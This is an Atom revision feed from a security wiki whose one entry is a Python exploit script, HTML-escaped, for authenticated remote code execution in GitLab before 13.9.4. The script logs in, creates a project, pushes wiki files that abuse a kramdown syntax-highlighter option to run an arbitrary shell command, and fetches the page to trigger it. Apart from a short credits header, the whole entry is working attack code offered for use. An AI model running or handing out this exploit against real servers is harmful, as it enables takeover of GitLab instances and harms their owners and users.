<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Gitlab_13.9.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Gitlab 13.9.3 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Gitlab_13.9.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Gitlab_13.9.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T09:10:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Gitlab_13.9.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3929&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Gitlab 13.9.3 - Remote Code Execution (Authenticated) # Date: 02/06/2021 # Exploit Author: enox # Vendor Homepage: https://about.gitlab.com/ # S...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Gitlab_13.9.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3929&amp;oldid=prev"/>
		<updated>2021-06-03T12:05:55Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Gitlab 13.9.3 - Remote Code Execution (Authenticated) # Date: 02/06/2021 # Exploit Author: enox # Vendor Homepage: https://about.gitlab.com/ # S...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Gitlab 13.9.3 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date: 02/06/2021&lt;br /&gt;
# Exploit Author: enox&lt;br /&gt;
# Vendor Homepage: https://about.gitlab.com/&lt;br /&gt;
# Software Link: https://gitlab.com/&lt;br /&gt;
# Version: &amp;lt; 13.9.4&lt;br /&gt;
# Tested On: Ubuntu 20.04&lt;br /&gt;
# Environment: Gitlab 13.9.1 CE&lt;br /&gt;
# Credits: https://hackerone.com/reports/1125425&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
import random&lt;br /&gt;
import os&lt;br /&gt;
import argparse&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(description='GitLab &amp;lt; 13.9.4 RCE')&lt;br /&gt;
parser.add_argument('-u', help='Username', required=True)&lt;br /&gt;
parser.add_argument('-p', help='Password', required=True)&lt;br /&gt;
parser.add_argument('-c', help='Command', required=True)&lt;br /&gt;
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
username = args.u&lt;br /&gt;
password = args.p&lt;br /&gt;
gitlab_url = args.t&lt;br /&gt;
command = args.c&lt;br /&gt;
&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
&lt;br /&gt;
# Authenticating&lt;br /&gt;
print(&amp;quot;[1] Authenticating&amp;quot;)&lt;br /&gt;
r = session.get(gitlab_url + &amp;quot;/users/sign_in&amp;quot;)&lt;br /&gt;
soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
token = soup.findAll('meta')[16].get(&amp;quot;content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
login_form = {&lt;br /&gt;
    &amp;quot;authenticity_token&amp;quot;: token,&lt;br /&gt;
    &amp;quot;user[login]&amp;quot;: username,&lt;br /&gt;
    &amp;quot;user[password]&amp;quot;: password,&lt;br /&gt;
    &amp;quot;user[remember_me]&amp;quot;: &amp;quot;0&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
r = session.post(f&amp;quot;{gitlab_url}/users/sign_in&amp;quot;, data=login_form)&lt;br /&gt;
&lt;br /&gt;
if r.status_code != 200:&lt;br /&gt;
    exit(f&amp;quot;Login Failed:{r.text}&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;Successfully Authenticated&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Creating Project&lt;br /&gt;
print(&amp;quot;[2] Creating Project&amp;quot;)&lt;br /&gt;
r = session.get(f&amp;quot;{gitlab_url}/projects/new&amp;quot;)&lt;br /&gt;
soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
project_token = soup.findAll('meta')[16].get(&amp;quot;content&amp;quot;)&lt;br /&gt;
project_token = project_token.replace(&amp;quot;==&amp;quot;, &amp;quot;%3D%3D&amp;quot;)&lt;br /&gt;
project_token = project_token.replace(&amp;quot;+&amp;quot;, &amp;quot;%2B&amp;quot;)&lt;br /&gt;
project_name = f'project{random.randrange(1, 10000)}'&lt;br /&gt;
cookies = {'sidebar_collapsed': 'false','event_filter': 'all','hide_auto_devops_implicitly_enabled_banner_1': 'false','_gitlab_session': session.cookies['_gitlab_session'],}&lt;br /&gt;
&lt;br /&gt;
payload=f&amp;quot;utf8=%E2%9C%93&amp;amp;authenticity_token={project_token}&amp;amp;project%5Bci_cd_only%5D=false&amp;amp;project%5Bname%5D={project_name}&amp;amp;project%5Bpath%5D={project_name}&amp;amp;project%5Bdescription%5D=&amp;amp;project%5Bvisibility_level%5D=20&amp;quot;&lt;br /&gt;
&lt;br /&gt;
r = session.post(gitlab_url+'/projects', data=payload, cookies=cookies, verify=False)&lt;br /&gt;
&lt;br /&gt;
if &amp;quot;The change you requested was rejected.&amp;quot; in r.text:&lt;br /&gt;
    exit('Exploit failed, check input params')&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;Successfully created project&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Cloning Wiki and Writing Files&lt;br /&gt;
print(&amp;quot;[3] Pushing files to the project wiki&amp;quot;)&lt;br /&gt;
wiki_url = f'{gitlab_url}/{username}/{project_name}.wiki.git'&lt;br /&gt;
os.system(f&amp;quot;git clone {wiki_url} /tmp/project&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
f1 = open(&amp;quot;/tmp/project/load1.rmd&amp;quot;,&amp;quot;w&amp;quot;)&lt;br /&gt;
f1.write('{::options syntax_highlighter=&amp;quot;rouge&amp;quot; syntax_highlighter_opts=&amp;quot;{formatter: Redis, driver: ../get_process_mem\}&amp;quot; /}\n\n')&lt;br /&gt;
f1.write('~~~ ruby\n')&lt;br /&gt;
f1.write('    def what?\n')&lt;br /&gt;
f1.write('      42\n')&lt;br /&gt;
f1.write('    end\n')&lt;br /&gt;
f1.write('~~~\n')&lt;br /&gt;
f1.close()&lt;br /&gt;
&lt;br /&gt;
f2 = open(&amp;quot;/tmp/project/load2.rmd&amp;quot;,&amp;quot;w&amp;quot;)&lt;br /&gt;
temp='{::options syntax_highlighter=&amp;quot;rouge&amp;quot; syntax_highlighter_opts=&amp;quot;{a: \'`'+command+'`\', formatter: GetProcessMem\}&amp;quot; /}\n\n'&lt;br /&gt;
f2.write(temp)&lt;br /&gt;
f2.write('~~~ ruby\n')&lt;br /&gt;
f2.write('    def what?\n')&lt;br /&gt;
f2.write('      42\n')&lt;br /&gt;
f2.write('    end\n')&lt;br /&gt;
f2.write('~~~\n')&lt;br /&gt;
f2.close()&lt;br /&gt;
&lt;br /&gt;
# It will prompt for user and pass. Enter it.&lt;br /&gt;
os.system('cd /tmp/project &amp;amp;&amp;amp; git add -A . &amp;amp;&amp;amp; git commit -m &amp;quot;Commit69&amp;quot; &amp;amp;&amp;amp; git push')&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Succesfully Pushed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Cleaning Up&lt;br /&gt;
os.system('rm -rf /tmp/project')&lt;br /&gt;
&lt;br /&gt;
# Triggering RCE&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[4] Triggering RCE&amp;quot;)&lt;br /&gt;
trigger_url=f&amp;quot;{gitlab_url}/{username}/{project_name}/-/wikis/load2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
r = session.get(trigger_url, cookies=cookies, verify=False)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>